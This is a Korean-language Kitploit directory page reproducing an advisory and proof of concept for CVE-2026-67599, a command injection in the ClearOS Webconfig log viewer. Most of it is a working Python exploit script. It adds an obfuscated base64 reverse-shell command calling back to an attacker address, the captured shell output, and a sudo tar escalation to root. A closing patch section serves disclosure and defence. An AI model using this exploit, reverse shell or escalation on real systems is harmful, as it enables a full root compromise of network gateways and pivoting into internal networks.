Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-67599_ClearOS_RCE — Authenticated Blind OS Command Injection in ClearOS | Kitploit
도구/GitHubGitHub/lazytitan33/cve-2026-67599_clearos_rce
Privilege EscalationExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRed Teaming
GitHublazytitan33/cve-2026-67599_clearos_rce

CVE-2026-67599_ClearOS_RCE

Authenticated Blind OS Command Injection in ClearOS

저장소 보기
20일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

로그 뷰어 필터 매개변수의 OS 명령 주입

패키지: ClearFoundation 테스트된 버전: ClearOS 7.9.1.342252
취약점 유형: OS 명령 주입 (CWE-78)
심각도: 높음
CVE: CVE-2026-67599
CVSS v3.1 벡터: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (점수: 7.2)

이 CVE-2026-67599를 대신해 할당하고 추적하는 데 도움을 주신 VulnCheck에 감사드립니다.

제품 설명


ClearOS는 CentOS/RHEL 기반으로 구축된 운영 체제로, 소규모 및 중간 규모 조직을 위한 네트워크 게이트웨이, UTM(Unified Threat Management) 플랫폼 및 엣지 서버 역할을 하도록 설계되었습니다. 주로 엣지 디바이스로 작동하며 방화벽 규칙, VPN 연결, 라우팅 및 핵심 네트워크 인프라를 관리합니다.

ClearOS는 네트워크 경계에 배포되므로 Webconfig(포트 81)와 같은 관리 인터페이스가 관리 세그먼트나 외부 네트워크에 직접 노출되는 경우가 많습니다. 이 인터페이스의 명령 실행 취약점으로 인해 공격자는 게이트웨이를 손상시키고 엣지에 지속성 발판을 확보한 후 내부 네트워크 세그먼트로 직접 피벗할 수 있습니다.


영향을 받는 파일

/usr/clearos/apps/base/libraries/File.php — 297행, 314행


근본 원인

Log Viewer 엔드포인트에 제출된 filter 매개변수는 File.php에서 구성된 셸 명령에 소독 없이 전달됩니다. $regex 값은 적절히 이스케이프된 인수로 전달되지 않고 명령 문자열에 직접 보간되므로 $(...)와 같은 명령 치환 페이로드나 백틱 표현식이 webconfig 사용자 권한으로 실행될 수 있습니다.


PoC

활성 엔게이지 중 우연히 발견했습니다. 다음은 간단한 아티팩트 생성기입니다.

root@kitploit:~
#!/usr/bin/python3

import requests
import sys
import warnings
warnings.filterwarnings("ignore")
import argparse
import urllib.parse

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", required=True, help="username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-t", "--target", required=True, help="target")
parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)")

args = parser.parse_args()
s = requests.Session()
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
s.verify = False
login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login"
s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"})
token = s.cookies.get("ci_csrf_token")
command_to_execute = urllib.parse.quote_plus(args.command)
command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display"
s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data)

리버스 셸 예시(공격자 .1, 대상 .129):

root@kitploit:~
python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash"

확인된 출력:

root@kitploit:~
Ncat: Connection from 192.168.137.129:52984.
bash: no job control in this shell
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)

기본적으로 매우 허용적인 sudoers 규칙을 통해 root로의 권한 상승은 쉽게 이루어집니다:

root@kitploit:~
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
bash-4.2$ sudo -l
Matching Defaults entries for webconfig on server:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
    HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy

User webconfig may run the following commands on server:
    (root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades,
        /usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat,
        /usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove,
        /usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce,
        /usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate,
        /usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create,
        /bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock,
        /usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd,
        /usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum,
        /usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd,
        /usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file,
        /usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir,
        /bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum,
        /usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup,
        /sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname

아래 예시에서는 tar 바이너리를 사용하여 root로 권한을 상승시킵니다:

root@kitploit:~
bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)

영향

Reports에 접근 권한이 있는 인증된 웹 인터페이스 사용자는 webconfig 사용자 권한으로 전체 OS 수준 명령 실행을 수행할 수 있습니다. 기본 ClearOS 7.9 설치에서는 webconfig에게 광범위한 NOPASSWD sudo 권한이 부여되어 추가 자격 증명 없이 즉시 root로 권한 상승이 가능합니다. 공격자는 시스템이 관리하는 모든 데이터, 서비스 및 네트워크 구성을 포함하여 기본 호스트에 대한 지속적인 root 접근 권한을 얻을 수 있습니다.


권장 조치

ClearOS는 수명 종료(EOL) 상태입니다. clearos.com에서 여전히 다운로드 가능한 최신 배포판(ClearOS-7.9.1.342252 버전)은 2021년 10월 13일자로, 상위 유지보수나 보안 업데이트가 전혀 제공되지 않습니다.

따라서 아래의 코드 수정은 엄밀히 말해 임시방편에 불과합니다. 네트워크 경계에서 유지보수되지 않는 OS를 실행하는 것은 불장난과 같습니다. 강력히 권장되는 방법은 ClearOS를 완전히 벗어나 지원되는 엣지 디바이스 또는 UTM 플랫폼으로 마이그레이션하는 것입니다.

임시 해결 방법 (PHP 패치)

마이그레이션을 계획하는 동안 이 호스트를 계속 운영해야 한다면, /usr/clearos/apps/base/libraries/File.php의 297행과 314행에서 $regex를 escapeshellarg()로 감싸서 다음에서 변경하십시오:

root@kitploit:~
'"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile,

다음으로 변경:

root@kitploit:~
'-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile,

그런 다음 webconfig 서비스를 재시작하십시오:

root@kitploit:~
sudo systemctl restart webconfig
도구 다운로드